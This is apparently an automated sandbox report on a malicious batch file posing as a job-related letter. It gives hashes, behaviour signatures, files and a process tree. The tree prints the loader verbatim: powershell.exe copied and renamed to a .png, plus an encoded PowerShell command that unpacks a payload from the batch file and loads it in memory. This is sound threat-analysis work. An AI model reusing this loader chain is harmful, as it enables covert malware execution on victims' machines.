Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    11-12-2023 21:35

General

  • Target

    Abusive Letter (Resdex Database and Job Posting).bat

  • Size

    1006KB

  • MD5

    ee9ec74fbf7fb7ed42103267a77f7d83

  • SHA1

    1aeae07889b0c11c8587472db3ebf4b77ff9d451

  • SHA256

    559de1ddc69375c9e08b178e72fe6dcbf0e999e7b078ee94c016a152b8907937

  • SHA512

    eae98812d446c2963243a4313f94d6c5a1a3fb6ec2d8f8dd742d21f2bd48c1515d6566af8de144741dfb4465f3ea2467a1b3dfcc49e7c4b1d8e0c6749667421e

  • SSDEEP

    24576:l/KZIPLG6VRHiTKZdtOyts5TvPISg7iCbdpH3JrgceWk:oIPKwgGDOIGjqbd5qdT

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2372
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
        2⤵
          PID:2384
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3044
          • C:\Windows\system32\xcopy.exe
            xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
            3⤵
              PID:2652
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo F "
              3⤵
                PID:1204
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                3⤵
                  PID:2640
                • C:\Windows\system32\xcopy.exe
                  xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\Abusive Letter (Resdex Database and Job Posting).bat" C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png.bat
                  3⤵
                    PID:2716
                  • C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png
                    C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png -win 1 -enc JABWAGIAYQBsAGoAdwBrAHAAYgAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABMAGkAbgBlAHMAKAAoACgAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAIgAuAGIAYQB0ACIAKQAsACAAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBsAGEAcwB0ACAAMQA7ACAAJABJAG0AdAB1AGwAbwB1AHgAZwBrACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAFYAYgBhAGwAagB3AGsAcABiACkAOwAkAFEAbQBpAHcAagBzAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEkAbQB0AHUAbABvAHUAeABnAGsAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQASgBjAG0AagBvACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFEAbQBpAHcAagBzAGwALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEoAYwBtAGoAbwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQASgBjAG0AagBvAC4AQwBsAG8AcwBlACgAKQA7ACQAUQBtAGkAdwBqAHMAbAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEkAbQB0AHUAbABvAHUAeABnAGsAIAA9ACAAJABvAHUAdABwAHUAdAAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQASQBtAHQAdQBsAG8AdQB4AGcAawApADsAIAAkAEwAZgBuAGkAbQBsAHkAdgBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAEkAbQB0AHUAbABvAHUAeABnAGsAKQA7ACAAJABPAGoAcgBmAGcAaABjACAAPQAgACQATABmAG4AaQBtAGwAeQB2AG8ALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABHAG4AbABpAGcAIAA9ACAAJABPAGoAcgBmAGcAaABjAC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
                    3⤵
                    • Executes dropped EXE
                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2748

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Qmlugnd.png

                Filesize

                442KB

                MD5

                92f44e405db16ac55d97e3bfe3b132fa

                SHA1

                04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

                SHA256

                6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

                SHA512

                f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

              • memory/2748-8-0x0000000074640000-0x0000000074BEB000-memory.dmp

                Filesize

                5.7MB

              • memory/2748-10-0x0000000001F30000-0x0000000001F70000-memory.dmp

                Filesize

                256KB

              • memory/2748-11-0x0000000001F30000-0x0000000001F70000-memory.dmp

                Filesize

                256KB

              • memory/2748-9-0x0000000074640000-0x0000000074BEB000-memory.dmp

                Filesize

                5.7MB

              • memory/2748-12-0x0000000074640000-0x0000000074BEB000-memory.dmp

                Filesize

                5.7MB